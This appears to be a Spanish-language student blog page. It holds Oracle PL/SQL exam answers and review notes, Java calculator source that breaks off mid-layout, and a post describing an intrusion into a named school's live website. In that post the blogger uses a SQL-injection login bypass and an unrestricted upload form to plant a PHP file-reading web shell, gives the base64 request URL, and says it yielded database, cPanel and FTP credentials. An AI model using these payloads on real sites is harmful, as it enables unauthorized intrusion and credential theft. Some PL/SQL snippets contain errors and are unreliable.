Encuentrame en
  • FaceBook
  • Twitter
  • IRC
  • Digg
Buscar en el Blog
Publicidad
Feed Roll
Loading

Este es el Certamen 2 de PROGRAMA DE BASES DE DATOS (OCA DEVELOP)

[ 1 ] Crear una tabla EMP , una función CAL_NEWSAL, los los procedimientos UPD_NEWSAL , NEW_EMP y el trigger VAL_SALARY
para insertar y actualizar datos de un empleado (55 pts)

1A Crear una tabla EMP con información a partir de una consulta que seleccione el
employee_id,first_name,last_name y salary de la tabla EMPLOYEES (4 pts)


CREATE TABLE emp AS
	SELECT EMPLOYEE_ID,FIRST_NAME,LAST_NAME,SALARY
	FROM employees;

1B Agrega a la tabla EMP dos nuevas columnas PERCENT de tipo NUMBER(8,2) y NEW_SALARY de tipo NUMBER de (8,2) (5 pts)

ALTER TABLE emp ADD percent NUMBER(8,2);
ALTER TABLE emp ADD new_salary NUMBER(8,2);

1C Crear una Funcion llamada CALL_NEWSAL que calcule el nuevo salario del empleado a partir del salariode éste
y un factor que representa el porcentaje en términos decimales. La formula para calcular el nuevo slario es: (6 pts)
(v_salary + ((v_salary - (v_salary * 12 * v_factor)) * v_factor))

CREATE OR REPLACE FUNCTION cal_newsal (v_salary IN employees.SALARY%TYPE,v_factor IN NUMBER) RETURN NUMBER
IS
BEGIN
	RETURN (v_salary + ((v_salary - (v_salary * 12 * v_factor)) * v_factor));
END cal_newsal;
/

1D CreValid Employee ID

CREATE OR REPLACE FUNCTION valid_employee(v_employee_id IN employees.EMPLOYEE_ID%TYPE) RETURN BOOLEAN
IS
	v_temporal VARCHAR(1);
BEGIN
	SELECT 'x'
	INTO v_temporal
	FROM emp
	WHERE EMPLOYEE_ID = v_employee_id;
	RETURN TRUE;
EXCEPTION
	WHEN NO_DATA_FOUND THEN
		RETURN FALSE;
END;
/

1D Crear un Procedimiento UPD_NEWSAL que permita actualizar, en la columna PERCENT el porcentaje de
incremento y en la columna NEW_SAL el nuevo incremento y en la columna NEW_SAL el nuevo salario. Para ello deberá pasar
el identificador del empleado y la función que calcula el nuevo salario creada en el punto anterior. En caso de actualizar
un empleado que no existe dse deberá informar lo ocurrido a través de un mensaje apropiado. Finalmente hacer los cambios permanentes.

CREATE OR REPLACE PROCEDURE upd_newsal(v_employee_id IN employees.EMPLOYEE_ID%TYPE,v_factor IN NUMBER)
IS
	empleado_salary employees.SALARY%TYPE;
BEGIN
	IF valid_employee(v_employee_id) THEN
		SELECT SALARY
		INTO empleado_salary
		FROM emp
		WHERE EMPLOYEE_ID = v_employee_id;

		UPDATE emp
		SET NEW_SALARY = cal_newsal (empleado_salary,v_factor)
		WHERE EMPLOYEE_ID = v_employee_id;
	ELSE
		RAISE_APPLICATION_ERROR(-20001,'ERROR: El id de Usuario No Existe');
	END IF;
END upd_newsal;
/

1E Testear el procedimiento UPD_NEWSAL para los empleados 100,105,110, con un factor de 0.01,0.02 y 0.03 correspondiente (3 pts)

SET SERVEROUTPUT ON
BEGIN
	upd_newsal(100,0.01);
END;
/
SET SERVEROUTPUT ON
BEGIN
	upd_newsal(105,0.05);
END;
/
SET SERVEROUTPUT ON
BEGIN
	upd_newsal(110,0.03);
END;
/

1F Crear un PROCEDIMIENTO NEW_EMP que permita para un nuevo empleado ingresar employee_id,first_name,last_name,salary,percent,new_salary,
para el new_salary utilizar la funcion cal_newsal. Conjuntamente deberá validar el salario, a través de un trigger de DML por fila llamado
VAL_SALARY que controle que el salario no debe exceder de 25.000 (18 pts)

CREATE OR REPLACE TRIGGER val_salary
BEFORE INSERT OR UPDATE OF SALARY
ON emp
FOR EACH ROW
BEGIN
	IF :new.SALARY > 25000 THEN
		RAISE_APPLICATION_ERROR(-20002,'ERROR: El salario sobrepasa los 25.000');
	END IF;
END val_salary;
/

SET SERVEROUTPUT ON
CREATE OR REPLACE PROCEDURE new_emp(v_employee_id 	IN employees.EMPLOYEE_ID%TYPE,
									v_first_name 	IN employees.FIRST_NAME%TYPE,
									v_last_name 	IN employees.LAST_NAME%TYPE,
									v_salary 		IN employees.SALARY%TYPE,
									v_percent 		IN NUMBER
									)
IS
	nuevoSalario NUMBER;
BEGIN
	IF valid_employee(v_employee_id) THEN
		DBMS_OUTPUT.PUT_LINE('ERROR: Ya Hay un usuario con esa ID');
	ELSE
		nuevoSalario := cal_newsal(v_salary,v_percent);
		INSERT INTO emp (EMPLOYEE_ID,FIRST_NAME,LAST_NAME,SALARY,PERCENT,NEW_SALARY)
		VALUES(	v_employee_id,
				v_first_name,
				v_last_name,
				v_salary,
				v_percent,
				nuevoSalario
				);
	END IF;

END new_emp;
/

1G TESTEAR EL PROCEDIMIENTO NEW_EMP Para los siguientes datos (2 pts)
Fila1:
employee_id:200, first_name: Albert,last_name: Einstein, salary: 20000, percent: 0.01, new_salary: cal_newsal
Fila2:
employee_id:300, first_name: Hilary,last_name: Clinton, salary: 26000, percent: 0.02, new_salary: cal_newsal

SET SERVEROUTPUT ON
BEGIN
	new_emp(200,'Albert','Einstein',20000,0.01);
END;
/

SET SERVEROUTPUT ON
BEGIN
	new_emp(300,'Hilary','Clinton',20000,0.02);
END;
/

1H Elimina tabla EMP (1 pts)

DROP TABLE emp;

1I Elimina Funcion cal_newSal (1 pts)

DROP FUNCTION cal_newsal;

1J Elimina Procedure upd_newsal (1 pts)

DROP PROCEDURE  upd_newsal;

1K Elimina Procedure new_emp (1 pts)

DROP PROCEDURE  new_emp;

1L Elimina Trigger val_salary (1 pts)

DROP TRIGGER val_salary;

[ 2 ] CREAR Y LLAMAR UN PACKAGE QUE CONTIENE CONSTRUCTORES PÚBLICOS Y PRIVADOS (45 pts)

2A Crear una tabla EMP con información, a partir de una consulta que seleccione el employee_id,first_name,
last_name y department_id de la tabla EMPLOYEES (4 pts)

CREATE TABLE emp AS
	SELECT EMPLOYEE_ID,FIRST_NAME,LAST_NAME,DEPARTMENT_ID
	FROM employees;

2B Crear una especificacion y un cuerpo de package llamado EMP_PACK que contiene un procedimiento
NEW_EMP como constructor público, y una función VALID_DEPT_ID como un constructor privado (29 pts)

CREATE OR REPLACE PACKAGE emp_pack IS
	PROCEDURE NEW_EMP(	v_employee_id IN employees.EMPLOYEE_ID%TYPE,
						v_first_name IN employees.FIRST_NAME%TYPE,
						v_last_name IN employees.LAST_NAME%TYPE,
						v_department_id IN employees.DEPARTMENT_ID%TYPE
					);
END emp_pack;
/
SET SERVEROUTPUT ON
CREATE OR REPLACE PACKAGE BODY emp_pack IS
	---------------------------------------------------------------------------------
	--	FUNCION PARA VALIDAR EL DEPARTAMENTO 						RETURN [BOOLEAN]
	---------------------------------------------------------------------------------
	FUNCTION VALID_DEPT_ID(v_id_depto IN employees.DEPARTMENT_ID%TYPE) RETURN BOOLEAN
	IS
		v_temporal VARCHAR(1);
	BEGIN
		SELECT 'x'
		INTO v_temporal
		FROM DEPARTMENTS
		WHERE DEPARTMENT_ID = v_id_depto;
		RETURN TRUE;
	EXCEPTION
		WHEN NO_DATA_FOUND THEN
			RETURN FALSE;
	END;
	---------------------------------------------------------------------------------
	--	PROCEDIMIENTO NEW_EMP
	---------------------------------------------------------------------------------
	PROCEDURE NEW_EMP(	v_employee_id IN employees.EMPLOYEE_ID%TYPE,
						v_first_name IN employees.FIRST_NAME%TYPE,
						v_last_name IN employees.LAST_NAME%TYPE,
						v_department_id IN employees.DEPARTMENT_ID%TYPE
					)
	IS
	BEGIN
		IF VALID_DEPT_ID(v_department_id) THEN
			INSERT INTO emp(EMPLOYEE_ID,FIRST_NAME,LAST_NAME,DEPARTMENT_ID)
			VALUES(v_employee_id,v_first_name,v_last_name,v_department_id);
		ELSE
			DBMS_OUTPUT.PUT_LINE('ERROR: No existe Departamento');
		END IF;
	END;
END emp_pack;
/

2C Llamar al procedimiento NEW_EMP, utilizando como identificador de departamento el número 15. Como
el departamento 15 no existe en la tabla DEPARTMENT, se deberá desplegar un mensaje informando lo ocurrido (5 pts)

SET SERVEROUTPUT ON
BEGIN
	emp_pack.NEW_EMP(305,'Juan','Perez',15);
END;
/

2D Eliminar Tabla emp (1 pts)

DROP TABLE emp;

2E Eliminar funcion VALID_DEPT_ID (1 pts)

DROP FUNCTION emp_pack.VALID_DEPT_ID;

2F Eliminar procedimiento NEW_EMP (1 pts)

DROP PROCEDURE emp_pack.NEW_EMP;

2G Eliminar especificacion y cuerpo del package llamado EMP_PACK (1 pts)

DROP PACKAGE emp_pack;
ORACLE PL/SQL Repaso
Junio 15th, 2009

Cursores:

	-- Declarar Cursor
	CURSOR emp_cursor IS
		SELECT last_name, department_id
		FROM employees;
	emp_record emp_cursor%ROWTYPE;

	-- Recorrer Secursar
	FOR emp_record IN emp_cursor LOOP --implicitamente abre y recupera la ocurrencia
     	IF emp_record.department_id = 80 THEN
			DBMS_OUTPUT.PUT_LINE(TO_CHAR(emp_record.department_id)||' '||emp_record.last_name);
		END IF;
   	END LOOP; -- implícitamente cierra la ocurrencia

Funciones

CREATE OR REPLACE FUNCTION g_job (p_jobid IN jobs.job_id%TYPE)
RETURN VARCHAR2
IS
	v_jobtitle jobs.job_title%TYPE;
BEGIN
	SELECT job_title
	INTO v_jobtitle
	FROM jobs
	WHERE job_id = p_jobid;
	RETURN (v_jobtitle);
EXCEPTION
	WHEN NO_DATA_FOUND THEN
		RETURN(NULL);
END g_job;
/
VARIABLE g_title VARCHAR2(30)
EXECUTE :g_title:= g_job('SA_REP')
PRINT g_title

Packages

CREATE OR REPLACE PACKAGE job_pack IS
	PROCEDURE add_job (p_job_id IN jobs.job_id%TYPE, p_job_title IN jobs.job_title%TYPE);
	PROCEDURE upd_job (p_job_id IN jobs.job_id%TYPE,p_job_title IN jobs.job_title%TYPE);
	PROCEDURE del_job (p_job_id IN jobs.job_id%TYPE);
	FUNCTION q_job    (p_job_id IN jobs.job_id%TYPE)RETURN VARCHAR2;
END job_pack;
/

CREATE OR REPLACE PACKAGE BODY job_pack IS
	PROCEDURE add_job (p_job_id IN jobs.job_id%TYPE, p_job_title IN jobs.job_title%TYPE) IS BEGIN
		INSERT INTO jobs(job_id, job_title)
		VALUES (p_jobid, p_jobtitle);
	END add_jobs;

	PROCEDURE upd_job (p_job_id IN jobs.job_id%TYPE, p_job_title IN jobs.job_title%TYPE) IS BEGIN
		UPDATE jobs
		SET job_title=p_jobtitle
		WHERE job_id=p_jobid;
		IF SQL%NOTFOUND THEN
			RAISE_APPLICATION_ERROR(-20202,'No Job Updated');
		END IF;
	END upd_job;

	PROCEDURE del_job (p_job_id IN jobs.job_id%TYPE) IS BEGIN
		DELETE FROM jobs
		WHERE job_id = p_job_id;
		IF SQL%NOTFOUND THEN
			RAISE_APPLICATION_ERROR(-20203,'No job deleted');
		END IF;
	END del_job;

	FUNCTION q_job (p_jobid IN jobs.job_id%TYPE) RETURN VARCHAR2 IS
		v_jobtitle jobs.job_title%TYPE;
	BEGIN
		SELECT job_title
		INTO v_jobtitle
		FROM jobs
		WHERE job_id = p_jobid;
		RETURN (v_jobtitle);
	END q_job
END job_pack;
/


Procedimientos

create or replace procedure procedimiento (p_empid IN employees.employee_id%TYPE, p_sal OUT employees.salary%TYPE, p_job OUT employees.job_id%TYPE)
IS BEGIN
	SELECT salary,job_id
	INTO p_sal, p_job
	FROM employees
	WHERE employee_id = p_empid;
END procedimiento;
/

-- imprimir
VARIABLE g_sal NUMBER
VARIABLE g_job VARCHAR2(15)
EXECUTE procedimiento(120,:g_sal,:g_job)
PRINT g_sal
PRINT g_job


Triggers


create or replace trigger xxx
after update or insert or delete on employees for each row -- After:Antes
	   if updating  then

	elsif inserting then

	elsif deleting then

	end if;
end xxx;
/

Ayer navegando en chilecomparte, vi a un usuario que en su firma tenía

Ingeniería Civil Informática UVM.
www.tecno-byte.com ingeniería de Software.

Y me llamo la atencion su web y la entre a mirar para ver sus trabajos, me di cuenta que tenia un login para Acceso Intranet, como todo informatico curioso puse en el user name el famoso

' OR 1=1 /*

Para intentar inyectar SQL , pero solo salio un error diciendo

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' or 1=1 /*' at line 1

Asi que empece a ver Sus Trabajos para ver que podia sacar… El ultimo de sus trabajos era Liceo Comercial de Quilpué: 2008 asi que fui a revisar que tal era. La sorpresa fue que tenia el mismo acceso a intranet =O, probe el

' OR 1=1 /*

pero este no tiraba error, asi que empece a navegar por el menu y me llamo la atencion un boton llamado Recursos lo aprete y salio esta ventana

Al clickear en un link, descargaba un archivo de la carpeta files, como todo cristiano curioso entre a la carpeta files para ver que salia

http://www.licomquilpue.cl/files/

y la sorpresa fue que no tenía un index xD asi que pude ver todos los archivos de esa carpeta

Revise todos los arhivos y sistema.php tenia un formulario para subir archivos =O

Subi un archivo de texto archivo.txt con un hola mundo para probar y exitosamente se subio =O

Luego de eso subi un archivo.php para testear si podia subirlo con un

<?php
echo 'Hola';
?>

Y lo subio exitosamente =O mostrando el Hola asi que quise descargar el index.php para ver si podia sacar algunos datos, por lo que cree un archivo system.php que tenía lo siguiente

<?PHP
$c = $_GET['c'];
if (isset($c)) {
	$f = base64_decode($c);
	header('Content-Length: ' . filesize($f));
	header('Content-Disposition: attachment; filename="'.basename($f).'"');
	@readfile($f);
} else {
	header('Location: http://www.licomquilpue.cl/');
}
?>

que recibe un parametro codificado en base64, que es una ruta de algun archivo y que lee dicho archivo, si quiero descargar el index.php tendria que pasarle como parametro ../index.php pero codificado en base64 osea tendria que pasar
http://www.licomquilpue.cl/files/system.php?c=Li4vaW5kZXgucGhw
para descargar el index.php

y urgando con ese archivo pude sacar el user y pass de las bases de datos, del cpanel y de ftp =O

Ya he enviado un email a tecno-byte.com para que arreglen ese bug para que no sea hackeada la página…

Saludos!.

Esta es la calculadora que nos mandaron a hacer en topicos avanzados de la programacion xD.

Tiene las funciones basicas:

  • suma
  • resta
  • division
  • Multiplicacion

Además se puede sacar raíz cuadrada , logaritmo, el inverso,seno, coseno y tangente .

Aqui las Clases:

Clase Calculadora.java


/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package calculadora;

import java.lang.StringBuffer;

/**
 *
 * @author Esteban Fuentealba
 */
public class Calculadora {

    private boolean primero = true;
    private boolean nuevoCalculo = true;
    private StringBuffer datoUno = new StringBuffer();
    private StringBuffer datoDos = new StringBuffer();
    private char operacion = ' ';
    private Double resultado = 0.0;

    public Calculadora() {
        this.getDatoUno().append("");
        this.getDatoDos().append("");
    }

    public void vaciar() {
        this.getDatoUno().delete(0, getDatoUno().length());
        this.getDatoDos().delete(0, getDatoDos().length());
    }

    public String calcular() throws Exception {
        if (getDatoDos().toString().length() > 0) {
            if (getOperacion() == '+') {
                resultado = Double.parseDouble(getDatoUno().toString()) + Double.parseDouble(getDatoDos().toString());
            } else if (getOperacion() == '-') {
                resultado = Double.parseDouble(getDatoUno().toString()) - Double.parseDouble(getDatoDos().toString());
            } else if (getOperacion() == '/') {
                if (Double.parseDouble(getDatoDos().toString()) == 0) {
                    throw new Exception("Dividido Por Cero");
                }
                resultado = Double.parseDouble(getDatoUno().toString()) / Double.parseDouble(getDatoDos().toString());
            } else if (getOperacion() == '*') {
                resultado = Double.parseDouble(getDatoUno().toString()) * Double.parseDouble(getDatoDos().toString());
            }
            vaciar();
            getDatoUno().append(resultado.toString());

        } else {
            if (getDatoUno().toString().length() > 0) {
                resultado = Double.parseDouble(getDatoUno().toString());
                primero = false;
            } else {
                resultado = 0.0;
            }
        }
        return resultado.toString();
    }

    public String agregarABuffer(String d) {
        System.out.println("String: " + d);
        if (this.isPrimero()) {
            this.getDatoUno().append(d);
            return this.getDatoUno().toString();
        } else {
            this.getDatoDos().append(d);
            return this.getDatoDos().toString();
        }
    }

    public String cambioSigno() throws Exception {
        String ant = this.getResultado();
        if (getDatoDos().toString().length() == 0) {
            vaciar();
            if (ant.charAt(0) == '-') {
                this.getDatoUno().append(ant.substring(1));
            } else {
                this.getDatoUno().append("-" + ant);
            }
            return this.getDatoUno().toString();
        } else {
            vaciar();
            if (ant.charAt(0) == '-') {
                this.getDatoDos().append(ant.substring(1));
            } else {
                this.getDatoDos().append("-" + ant);
            }
            return this.getDatoDos().toString();
        }
    }

    public String getResultado() throws Exception {
        return this.calcular();
    }

    public static String formatNumber(String r) {
        if (r.contains(".")) {
            if (r.substring(r.indexOf(".")).equals(".0")) {
                return r.substring(0, r.indexOf("."));
            }
        }
        return r;
    }

    public Double raiz(Double d) {
        Double sq = Math.sqrt(d);
        resultado = sq;
        vaciar();
        getDatoUno().append(resultado.toString());
        return sq;
    }

    public Double log(Double d) {
        Double log = Math.log(d);
        resultado = log;
        vaciar();
        getDatoUno().append(resultado.toString());
        return log;
    }

    public Double cos(Double d) {
        Double cos = Math.cos(d * (Math.PI / 180));
        resultado = cos;
        vaciar();
        getDatoUno().append(resultado.toString());
        return cos;
    }

    public Double tan(Double d) {
        Double tan = Math.tan(d * (Math.PI / 180));
        resultado = tan;
        vaciar();
        getDatoUno().append(resultado.toString());
        return tan;
    }

    public Double sin(Double d) {

        Double sin = Math.sin(d * (Math.PI / 180));
        resultado = sin;
        vaciar();
        getDatoUno().append(resultado.toString());
        return sin;
    }

    public void CE() {
        primero = true;
        vaciar();
    }

    public Double invertido(Double v) throws Exception {
        if (v == 0) {
            throw new Exception("Dividido Por Cero");
        }
        return (1 / v);
    }

    public char getOperacion() {
        return operacion;
    }

    public String setOperacion(char operacion) throws Exception {
        String tmp = this.getResultado().toString();
        this.operacion = operacion;
        return tmp;
    }

    public boolean isPrimero() {
        return primero;
    }

    public void setPrimero(boolean primero) {
        this.primero = primero;
    }

    public StringBuffer getDatoUno() {
        return datoUno;
    }

    public void setDatoUno(StringBuffer datoUno) {
        this.datoUno = datoUno;
    }

    public StringBuffer getDatoDos() {
        return datoDos;
    }

    public void setDatoDos(StringBuffer datoDos) {
        this.datoDos = datoDos;
    }

    public boolean isNuevoCalculo() {
        return nuevoCalculo;
    }

    public void setNuevoCalculo(boolean nuevoCalculo) {
        this.nuevoCalculo = nuevoCalculo;
    }
}

Aqui la clase GUI WCalculadora.java

/*
 * WCalculadora.java
 *
 * Created on 17 de abril de 2009, 06:35 PM
 */
package calculadora;

import java.awt.Component;
import java.awt.Dimension;
import java.awt.Font;
import java.awt.Toolkit;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;

/**
 *
 * @author  Esteban Fuentealba
 */
public class WCalculadora extends javax.swing.JFrame {

    /** Creates new form WCalculadora */
    private boolean primeraVez = true;
    private Calculadora miCalculadora = new Calculadora();
    public WCalculadora() {
        initComponents();
        Dimension pantalla = Toolkit.getDefaultToolkit().getScreenSize();
        Dimension ventana = this.getSize();
        this.setLocation((pantalla.width - ventana.width) / 2,(pantalla.height - ventana.height) / 2);

    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">
    private void initComponents() {

        jButton3 = new javax.swing.JButton();
        jPanel1 = new javax.swing.JPanel();
        jPanel2 = new javax.swing.JPanel();
        txtDatos = new javax.swing.JTextField();
        jPanel3 = new javax.swing.JPanel();
        btnDividir = new javax.swing.JButton();
        btnMultiplicar = new javax.swing.JButton();
        btnResta = new javax.swing.JButton();
        btnSuma = new javax.swing.JButton();
        btnResultado = new javax.swing.JButton();
        jButton19 = new javax.swing.JButton();
        btnPercent = new javax.swing.JButton();
        btnSqrt = new javax.swing.JButton();
        jButton6 = new javax.swing.JButton();
        jButton10 = new javax.swing.JButton();
        jButton14 = new javax.swing.JButton();
        jButton22 = new javax.swing.JButton();
        btnCero = new javax.swing.JButton();
        btnUno = new javax.swing.JButton();
        btnCuatro = new javax.swing.JButton();
        btnSiete = new javax.swing.JButton();
        btnOcho = new javax.swing.JButton();
        btnCinco = new javax.swing.JButton();
        btnDos = new javax.swing.JButton();
        jButton27 = new javax.swing.JButton();
        jButton28 = new javax.swing.JButton();
        btnTres = new javax.swing.JButton();
        btnSeis = new javax.swing.JButton();
        btnNueve = new javax.swing.JButton();
        jMenuBar1 = new javax.swing.JMenuBar();
        jMenu1 = new javax.swing.JMenu();
        jMenuItem1 = new javax.swing.JMenuItem();

        jButton3.setText("jButton1");

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("Esteban Fuentealba | Calculadora");
        setMinimumSize(new java.awt.Dimension(411, 279));
        addComponentListener(new java.awt.event.ComponentAdapter() {
            public void componentResized(java.awt.event.ComponentEvent evt) {
                formComponentResized(evt);
            }
        });

        txtDatos.setHorizontalAlignment(javax.swing.JTextField.RIGHT);
        txtDatos.setText("0.");

        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
        jPanel2.setLayout(jPanel2Layout);
        jPanel2Layout.setHorizontalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(txtDatos, javax.swing.GroupLayout.DEFAULT_SIZE, 498, Short.MAX_VALUE))
        );
        jPanel2Layout.setVerticalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(txtDatos, javax.swing.GroupLayout.DEFAULT_SIZE, 34, Short.MAX_VALUE)
        );

        btnDividir.setText("/");
        btnDividir.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnDividirActionPerformed(evt);
            }
        });

        btnMultiplicar.setText("*");
        btnMultiplicar.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnMultiplicarActionPerformed(evt);
            }
        });

        btnResta.setText("-");
        btnResta.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnRestaActionPerformed(evt);
            }
        });

        btnSuma.setText("+");
        btnSuma.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnSumaActionPerformed(evt);
            }
        });

        btnResultado.setText("=");
        btnResultado.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnResultadoActionPerformed(evt);
            }
        });

        jButton19.setText("1/x");
        jButton19.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton19ActionPerformed(evt);
            }
        });

        btnPercent.setText("log");
        btnPercent.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnPercentActionPerformed(evt);
            }
        });

        btnSqrt.setText("CE");
        btnSqrt.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnSqrtActionPerformed(evt);
            }
        });

        jButton6.setText("sqrt");
        jButton6.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton6ActionPerformed(evt);
            }
        });

        jButton10.setText("sin");
        jButton10.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton10ActionPerformed(evt);
            }
        });

        jButton14.setText("cos");
        jButton14.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton14ActionPerformed(evt);
            }
        });

        jButton22.setText("tan");
        jButton22.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton22ActionPerformed(evt);
            }
        });

        btnCero.setText("0");
        btnCero.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnCeroActionPerformed(evt);
            }
        });

        btnUno.setText("1");
        btnUno.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnUnoActionPerformed(evt);
            }
        });

        btnCuatro.setText("4");
        btnCuatro.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnCuatroActionPerformed(evt);
            }
        });

        btnSiete.setText("7");
        btnSiete.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnSieteActionPerformed(evt);
            }
        });

        btnOcho.setText("8");
        btnOcho.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnOchoActionPerformed(evt);
            }
        });

        btnCinco.setText("5");
        btnCinco.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnCincoActionPerformed(evt);
            }
        });

        btnDos.setText("2");
        btnDos.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnDosActionPerformed(evt);
            }
        });

        jButton27.setText(".");
        jButton27.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton27ActionPerformed(evt);
            }
        });

        jButton28.setText("+/-");
        jButton28.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton28ActionPerformed(evt);
            }
        });

        btnTres.setText("3");
        btnTres.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnTresActionPerformed(evt);
            }
        });

        btnSeis.setText("6");
        btnSeis.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnSeisActionPerformed(evt);
            }
        });

        btnNueve.setText("9");
        btnNueve.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnNueveActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
        jPanel3.setLayout(jPanel3Layout);
        jPanel3Layout.setHorizontalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jButton6, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(jButton14, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(jButton22, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(jButton10, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(btnSiete, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnCuatro, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnCero, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnUno, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(btnOcho, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnDos, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(jButton27, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnCinco, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(btnNueve, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnSeis, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(jButton28, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnTres, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(btnDividir, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnResta, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnSuma, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
